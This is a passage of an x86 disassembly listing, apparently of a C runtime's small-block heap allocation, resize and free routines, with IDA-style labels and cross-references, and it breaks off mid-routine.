; sub_41BEF3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DD378 mov edx, dword_4DD37C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EAAB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EABB ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA6B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej mov eax, dword_4DD370 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EAE2 loc_41EAC9: ; CODE XREF: sub_41EA6B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EAE2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EAC9 loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj ; sub_41EA6B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EB60 mov ebx, edx loc_41EAE9: ; CODE XREF: sub_41EA6B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB05 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB03 add ebx, 14h jmp short loc_41EAE9 ; --------------------------------------------------------------------------- loc_41EB03: ; CODE XREF: sub_41EA6B+91j cmp ebx, eax loc_41EB05: ; CODE XREF: sub_41EA6B+83j jnz short loc_41EB60 loc_41EB07: ; CODE XREF: sub_41EA6B+ADj cmp ebx, [ebp+var_4] jnb short loc_41EB1D cmp dword ptr [ebx+8], 0 jnz short loc_41EB1A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EB07 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j cmp ebx, [ebp+var_4] loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj jnz short loc_41EB45 mov ebx, edx loc_41EB21: ; CODE XREF: sub_41EA6B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB35 cmp dword ptr [ebx+8], 0 jnz short loc_41EB33 add ebx, 14h jmp short loc_41EB21 ; --------------------------------------------------------------------------- loc_41EB33: ; CODE XREF: sub_41EA6B+C1j cmp ebx, eax loc_41EB35: ; CODE XREF: sub_41EA6B+BBj jnz short loc_41EB45 call sub_41ED74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EB59 loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj ; sub_41EA6B:loc_41EB35j push ebx call sub_41EE25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EB60 loc_41EB59: ; CODE XREF: sub_41EA6B+D8j xor eax, eax jmp loc_41ED6F ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj ; sub_41EA6B:loc_41EB05j ... mov dword_4DD370, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EB87 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EBBE loc_41EB87: ; CODE XREF: sub_41EA6B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EBBB loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EBA4 loc_41EBBB: ; CODE XREF: sub_41EA6B+137j mov edx, [ebp+var_4] loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EBE7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj ; sub_41EA6B+183j test ecx, ecx jl short loc_41EBF0 shl ecx, 1 inc edi jmp short loc_41EBE7 ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EC0D push 3Fh pop esi loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj cmp esi, edi jz loc_41ED22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7E cmp edi, 20h jge short loc_41EC4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j ; sub_41EA6B+203j mov ebx, [ebp+arg_0] loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j ; sub_41EA6B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ED2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ED1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41ECF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ECDE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41ECDE: ; CODE XREF: sub_41EA6B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ED09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej ; sub_41EA6B+283j mov ecx, [ebp+var_8] loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j test ecx, ecx jz short loc_41ED31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED2E: ; CODE XREF: sub_41EA6B+229j mov ecx, [ebp+var_8] loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j ; sub_41EA6B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ED67 cmp ebx, dword_4DD374 jnz short loc_41ED67 mov ecx, [ebp+var_4] cmp ecx, dword_4DD36C jnz short loc_41ED67 and dword_4DD374, 0 loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j ; sub_41EA6B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j pop edi pop esi pop ebx leave retn sub_41EA6B endp ; =============== S U B R O U T I N E ======================================= sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp mov eax, dword_4DD378 mov ecx, dword_4DD368 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EDB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DD37C push edi push dword_4DD384 nop call near ptr 2890000h cmp eax, edi jz short loc_41EE07 add dword_4DD368, 10h mov dword_4DD37C, eax mov eax, dword_4DD378 loc_41EDB7: ; CODE XREF: sub_41ED74+11j mov ecx, dword_4DD37C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DD384 lea esi, [ecx+eax*4] nop call near ptr 27F0000h cmp eax, edi mov [esi+10h], eax jz short loc_41EE07 push 4 push 2000h push 100000h push edi nop call near ptr 266046Dh cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EE0B push dword ptr [esi+10h] push edi push dword_4DD384 nop call near ptr 27E0000h loc_41EE07: ; CODE XREF: sub_41ED74+30j ; sub_41ED74+67j xor eax, eax jmp short loc_41EE22 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ED74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DD378 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EE22: ; CODE XREF: sub_41ED74+95j pop edi pop esi retn sub_41ED74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EE37: ; CODE XREF: sub_41EE25+19j test eax, eax jl short loc_41EE40 shl eax, 1 inc ebx jmp short loc_41EE37 ; --------------------------------------------------------------------------- loc_41EE40: ; CODE XREF: sub_41EE25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EE55: ; CODE XREF: sub_41EE25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 266046Dh nop test eax, eax jnz short loc_41EE88 or eax, 0FFFFFFFFh jmp loc_41EF1B ; --------------------------------------------------------------------------- loc_41EE88: ; CODE XREF: sub_41EE25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EECE lea eax, [edi+10h] loc_41EE95: ; CODE XREF: sub_41EE25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EE95 loc_41EECE: ; CODE XREF: sub_41EE25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EF0B or [eax+4], edi loc_41EF0B: ; CODE XREF: sub_41EE25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej pop edi pop esi pop ebx leave retn sub_41EE25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F0CE test bl, 1 jnz loc_41F0C7 add ebx, ecx cmp esi, ebx jg loc_41F0C7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF97: ; CODE XREF: sub_41EF20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFE7 cmp ecx, 20h jnb short loc_41EFC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFE7 ; --------------------------------------------------------------------------- loc_41EFC3: ; CODE XREF: sub_41EF20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj ; sub_41EF20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F0B5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41F021 push 3Fh pop edi loc_41F021: ; CODE XREF: sub_41EF20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F0A3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41F07A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F06D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F06D: ; CODE XREF: sub_41EF20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41F09F ; --------------------------------------------------------------------------- loc_41F07A: ; CODE XREF: sub_41EF20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F090 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F090: ; CODE XREF: sub_41EF20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41F09F: ; CODE XREF: sub_41EF20+158j shr edx, cl or [eax], edx loc_41F0A3: ; CODE XREF: sub_41EF20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F0B8 ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41EF20+E5j mov edx, [ebp+arg_4] loc_41F0B8: ; CODE XREF: sub_41EF20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F20E ; --------------------------------------------------------------------------- loc_41F0C7: ; CODE XREF: sub_41EF20+52j ; sub_41EF20+5Cj xor eax, eax jmp loc_41F211 ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41EF20+49j jge loc_41F20E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F0F9 push 3Fh pop esi loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F188 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F112 push 3Fh pop esi loc_41F112: ; CODE XREF: sub_41EF20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F161 cmp esi, 20h jnb short loc_41F13D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F15E ; --------------------------------------------------------------------------- loc_41F13D: ; CODE XREF: sub_41EF20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F15E: ; CODE XREF: sub_41EF20+214j ; sub_41EF20+21Bj ... mov ebx, [ebp+arg_4] loc_41F161: ; CODE XREF: sub_41EF20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F188 push 3Fh pop esi loc_41F188: ; CODE XREF: sub_41EF20+1DDj ; sub_41EF20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F205 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F1DC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1CF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F201 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41EF20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1F2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F201: ; CODE XREF: sub_41EF20+2BAj shr edx, cl or [eax], edx loc_41F205: ; CODE XREF: sub_41EF20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F20E: ; CODE XREF: sub_41EF20+1A2j ; sub_41EF20:loc_41F0CEj push 1 pop eax loc_41F211: ; CODE XREF: sub_41EF20+1A9j pop edi pop esi pop ebx leave retn sub_41EF20 endp ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp cmp dword_43AE60, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE50 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD384 nop call near ptr 27F0000h mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, dword_427064 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41F32E mov eax, offset off_43AE50 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE50, 0 jnz short loc_41F296 mov off_43AE50, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE54, 0 jnz short loc_41F2BB mov off_43AE54, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE54 mov [esi+4], eax mov off_43AE54, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx push 0 push edi call sub_41BF70 add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi call near ptr 26605D2h nop loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE50 jz short loc_41F353 push esi push 0 push dword_4DD384 nop call near ptr 27E0000h loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 26605D2h cmp off_43CE70, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE70, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE50 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD384 nop call near ptr 27E0000h pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE60, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE54 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 26605D2h test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE40 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE54 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE50 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE40 cmp dword_4DBE40, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE70 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE 